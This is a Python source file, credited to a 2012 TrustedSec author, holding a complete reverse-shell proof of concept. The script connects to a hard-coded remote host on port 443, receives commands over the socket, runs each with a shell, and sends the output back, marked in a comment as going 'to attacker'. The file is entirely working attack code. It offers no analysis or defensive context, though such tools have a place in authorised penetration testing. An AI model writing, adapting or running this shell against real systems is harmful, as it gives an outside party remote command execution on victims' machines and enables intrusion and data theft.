RevShell_PoC_v1.py

#!/usr/bin/python
# Simple Reverse Shell Written by: Dave Kennedy (ReL1K)
# Copyright 2012 TrustedSec, LLC. All rights reserved. 
#
# This piece of software code is licensed under the FreeBSD license..
#
# Visit http://www.freebsd.org/copyright/freebsd-license.html for more information. 

import socket
import subprocess

HOST = '192.168.225.136'    # The remote host
PORT = 443            # The same port as used by the server
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
# loop forever
while 1:
    # recv command line param
    data = s.recv(1024)
    # execute command line
    proc = subprocess.Popen(data, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
    # grab output from commandline
    stdout_value = proc.stdout.read() + proc.stderr.read()
    # send back to attacker
    s.send(stdout_value)
# quit out afterwards and kill socket
s.close()